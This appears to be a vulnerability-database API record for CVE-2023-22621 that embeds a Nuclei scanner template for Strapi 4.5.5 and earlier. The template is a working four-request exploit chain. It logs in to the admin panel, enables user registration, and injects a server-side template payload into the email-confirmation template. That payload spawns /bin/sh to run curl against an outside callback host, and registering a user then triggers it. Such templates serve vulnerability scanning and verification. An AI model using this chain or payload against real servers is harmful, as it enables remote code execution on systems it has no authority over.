{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-22621/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-22621/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-22621/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-22621/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-22621/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-22621"},"sightings":{"href":"/api/v1/sightings/cve-2023-22621"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-22621.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2023-22621\n\ninfo:\n  name: Strapi Versions <=4.5.5 - SSTI to Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: high\n  description: |\n    Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.\n  impact: |\n    Authenticated attackers with admin panel access can inject malicious template code in email templates that bypasses validation checks, executing arbitrary system commands on the Strapi server and potentially compromising the entire CMS platform.\n  remediation: |\n    Update Strapi to version 4.5.6 or later that implements proper template validation and prevents code execution in email templates.\n  reference:\n    - https://github.com/strapi/strapi/releases\n    - https://github.com/sofianeelhor/CVE-2023-22621-POC\n    - https://github.com/strapi/security-patches\n    - https://github.com/ARPSyndicate/cvemon\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-22621\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 7.2\n    cve-id: CVE-2023-22621\n    cwe-id: CWE-74\n    epss-score: 0.706\n    epss-percentile: 0.99394\n    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: strapi\n    product: strapi\n    shodan-query: html:\"Welcome to your Strapi app\"\n  tags: cve,cve2023,strapi,ssti,rce,intrusive,authenticated,vuln,vkev\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nvariables:\n  email: \"{{email}}\"\n  password: \"{{password}}\"\n  address: \"{{randstr}}@{{rand_base(5)}}.com\"\n\nhttp:\n  - raw:\n      - |\n        POST /admin/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"email\":\"{{email}}\",\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"token\",\"isActive\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        part: body\n        name: token\n        json:\n          - \".data.token\"\n        internal: true\n\n  - raw:\n      - |\n        PUT /users-permissions/advanced HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n        {\"unique_email\":true,\"allow_register\":true,\"email_confirmation\":true,\"email_reset_password\":null,\"email_confirmation_redirection\":\"{{RootURL}}\",\"default_role\":\"authenticated\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"ok\",\"true\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        PUT /users-permissions/email-templates HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{token}}\n        Content-Type: application/json\n\n        {\n          \"email-templates\": {\n            \"reset_password\": {\n              \"display\": \"Email.template.reset_password\",\n              \"icon\": \"sync\",\n              \"options\": {\n                \"from\": {\n                  \"name\": \"Administration Panel\",\n                  \"email\": \"no-reply@strapi.io\"\n                },\n                \"response_email\": \"\",\n                \"object\": \"Reset password\",\n                \"message\": \"<p>We heard that you lost your password. Sorry about that!</p>\\n\\n<p>But dont worry! You can use the following link to reset your password:</p>\\n<p><%= URL %>?code=<%= TOKEN %></p>\\n\\n<p>Thanks.</p>\"\n              }\n            },\n            \"email_confirmation\": {\n              \"display\": \"Email.template.email_confirmation\",\n              \"icon\": \"check-square\",\n              \"options\": {\n                \"from\": {\n                  \"name\": \"Administration Panel\",\n                  \"email\": \"no-reply@strapi.io\"\n                },\n                \"response_email\": \"\",\n                \"object\": \"Account confirmation\",\n                \"message\": \"<%= `${ process.binding('spawn_sync').spawn({\\\"file\\\":\\\"/bin/sh\\\",\\\"args\\\":[\\\"/bin/sh\\\",\\\"-c\\\",\\\"curl {{interactsh-url}}\\\"],\\\"stdio\\\":[{\\\"readable\\\":1,\\\"writable\\\":1,\\\"type\\\":\\\"pipe\\\"},{\\\"readable\\\":1,\\\"writable\\\":1,\\\"type\\\":\\\"pipe\\\"/*<>%=*/}]}).output }` %>\\n\\n<p><%= URL %>?confirmation=<%= CODE %></p>\\n\\n<p>Thanks.</p>\"\n              }\n            }\n          }\n        }\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"ok\",\"true\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/auth/local/register HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n            \"email\": \"{{address}}\",\n            \"username\": \"{{randstr_1}}\",\n            \"password\": \"{{randstr_2}}\"\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - \"ApplicationError\"\n\n      - type: word\n        part: content_type\n        words:\n          - application/json\n# digest: 490a0046304402207ec82b8b0980b8fc192682ca2ec6c71976785c93774bbf44995ca6c7818c8107022020254061e2205a116ede73425da8775599f5839f1dd8935d5415d30370f59b78:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-22621"}